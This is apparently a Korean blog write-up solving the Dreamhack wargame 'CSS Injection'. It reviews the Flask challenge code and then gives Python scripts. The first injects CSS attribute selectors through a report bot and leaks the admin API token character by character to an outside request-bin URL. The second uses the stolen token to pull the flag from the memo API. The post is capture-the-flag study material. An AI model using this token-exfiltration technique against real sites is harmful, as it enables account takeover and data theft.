https://dreamhack.io/wargame/challenges/421
CSS Injection
Description Exercise: CSS Injection에서 실습하는 문제입니다. 문제 수정 내역 2023.08.09 Dockerfile 및 bot 일부 수정 2023.11.27 main.py 및 requirements.txt 수정
dreamhack.io
CSS Injection은 웹 애플리케이션의 보안 취약점을 악용하여 악의적인 CSS 코드를 주입함으로써 사용자의 브라우저에서 의도하지 않은 동작을 발생시키는 공격 방식이다. 이는 주로 웹 애플리케이션이 사용자 입력을 충분히 검증하지 않거나, CSS 파일이나 스타일 태그에 대해 제대로 보호 조치를 취하지 않을 때 발생한다.
문제 서버의 메인 페이지이다.
# Add admin
execute(
"INSERT INTO users (username, password, token)"
"VALUES (:username, :password, :token);",
{
"username": ADMIN_USERNAME,
"password": hashlib.sha256(ADMIN_PASSWORD).hexdigest(),
"token": token_generate(),
},
)
adminUid = execute(
"SELECT * FROM users WHERE username = :username;", {"username": ADMIN_USERNAME}
)
# Add FLAG
execute(
"INSERT INTO memo (uid, text)" "VALUES (:uid, :text);",
{"uid": adminUid[0][0], "text": "FLAG is " + FLAG},
)
서버가 시작되면 admin 계정이 생성되고 admin 계정에 메모가 생성된다.
이때 메모에 플래그가 저장된다.
@app.route("/register", methods=["GET", "POST"])
def register():
if request.method == "GET":
return render_template("register.html")
else:
username = request.form.get("username")
password = request.form.get("password")
user = execute(
"SELECT * FROM users WHERE username = :username;", {"username": username}
)
if user:
flash("Username already exists !")
return redirect(url_for("register"))
token = token_generate()
sql = "INSERT INTO users(username, password, token) VALUES (:username, :password, :token);"
execute(
sql,
{
"username": username,
"password": hashlib.sha256(password.encode()).hexdigest(),
"token": token,
},
)
flash("Register Success.")
return redirect(url_for("login"))
회원가입을 하면 이름, 비밀번호, 토큰이 sql에 삽입된다.
def token_generate():
while True:
token = "".join(random.choice(string.ascii_lowercase) for _ in range(8))
token_exists = execute(
"SELECT * FROM users WHERE token = :token;", {"token": token}
)
if not token_exists:
return token
토큰은 8자리 소문자이다.
@app.route("/mypage")
@login_required
def mypage():
user = execute("SELECT * FROM users WHERE uid = :uid;", {"uid": session["uid"]})
return render_template("mypage.html", user=user[0])
마이페이지에서 토큰 확인이 가능하다.
# report
@app.route("/report", methods=["GET", "POST"])
def report():
if request.method == "POST":
path = request.form.get("path")
if not path:
flash("fail.")
return redirect(url_for("report"))
if path and path[0] == "/":
path = path[1:]
url = f"http://127.0.0.1:8000/{path}"
if check_url(url):
flash("success.")
else:
flash("fail.")
return redirect(url_for("report"))
elif request.method == "GET":
return render_template("report.html")
report 페이지에서 경로를 입력받아 check_url에 넘긴다.
def check_url(url):
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver_promise = Promise(driver.get("http://127.0.0.1:8000/login"))
driver_promise.then(
driver.find_element(By.NAME, "username").send_keys(str(ADMIN_USERNAME))
)
driver_promise.then(
driver.find_element(By.NAME, "password").send_keys(ADMIN_PASSWORD.decode())
)
driver_promise = Promise(driver.find_element(By.ID, "submit").click())
driver_promise.then(driver.get(url))
except Exception as e:
driver.quit()
return False
finally:
driver.quit()
return True
check_url은 admin 계정에 로그인한 뒤 결과값을 리턴한다.
# API
@app.route("/api/me")
@apikey_required
def APIme():
user = execute("SELECT * FROM users WHERE uid = :uid;", {"uid": request.uid})
if user:
return {"code": 200, "uid": user[0][0], "username": user[0][1]}
return {"code": 500, "message": "Error !"}
@app.route("/api/memo")
@apikey_required
def APImemo():
memos = execute("SELECT * FROM memo WHERE uid = :uid;", {"uid": request.uid})
if memos:
memo = []
for tmp in memos:
memo.append({"idx": tmp[0], "memo": tmp[2]})
return {"code": 200, "memo": memo}
return {"code": 500, "message": "Error !"}
user[0][0]일 때에만 200 코드를 리턴한다.
따라서 admin이면 users 테이블에서 정보를 출력하고 memo 테이블에서 메모를 출력한다.
def apikey_required(view):
@wraps(view)
def wrapped_view(**kwargs):
apikey = request.headers.get("API-KEY", None)
token = execute("SELECT * FROM users WHERE token = :token;", {"token": apikey})
if token:
request.uid = token[0][0]
return view(**kwargs)
return {"code": 401, "message": "Access Denined !"}
return wrapped_view
apikey는 헤더에 있는 API-KEY를 가져와 token(api key)를 확인하고, 해당 계정이 token[0][0](admin)이면 결과를 반환하고 아니면 401 코드를 반환한다.
@app.context_processor
def background_color():
color = request.args.get("color", "white")
return dict(color=color)
request.args.get() 메서드를 사용하여 URL에서 color라는 쿼리 파라미터 값을 가져온다.
요청을 통해 배경색을 변경할 수 있고, 이를 통해 css injection이 가능하다.
회원가입을 먼저 진행하고 쿼리스트링으로 값을 전달하면 배경색이 변경된다.
마이페이지에서 토큰 확인이 가능하다.
https://tools.dreamhack.games/main
dreamhack-tools
tools.dreamhack.games
드림핵 툴즈를 사용해서 익스플로잇을 진행한다.
import requests, string
URL = "http://host3.dreamhack.games:16629/report"
curr= "qfdyd"
for token in string.ascii_lowercase:
data = {"path":"mypage?color=white;} input[id=InputApitoken][value^="+curr+token+"] {background: url(https://xfrimvb.request.dreamhack.games/"+curr+token+");"}
response = requests.post(URL, data=data)
print(f"'{token}': Status {response.status_code}")
한 글자씩 확인을 하고 curr에 추가하는 방식으로 진행한다.
import requests
URL = "http://host3.dreamhack.games:24286/api/memo"
TOKEN = "bfksfpoc"
headers = {
"API-KEY": TOKEN
}
response = requests.get(URL, headers=headers)
# 응답 확인
if response.status_code == 200:
print("Request successful!")
response_data = response.json()
if response_data['code'] == 200:
# 메모 데이터 파싱 및 출력
memos = response_data['memo']
for memo in memos:
print(f"Memo index: {memo['idx']}, Memo content: {memo['memo']}")
else:
print(f"Error: {response_data['message']}")
else:
print(f"Failed to fetch data. Status code: {response.status_code}")
admin의 토큰값을 알아내는데 성공하면, 이 토큰값을 이용해서 api/memo에 접근한다.
추출한 토큰값으로 api/memo에 요청을 보내 내용을 파싱하고 flag 값을 추출해 낸다.
'Dreamhack > Web' 카테고리의 다른 글
Mango (0) | 2024.11.26 |
---|---|
chocoshop (0) | 2024.11.12 |
CSP Bypass Advanced (0) | 2024.11.06 |
XSS Filtering Bypass Advanced (0) | 2024.10.28 |
blind-command (0) | 2024.10.01 |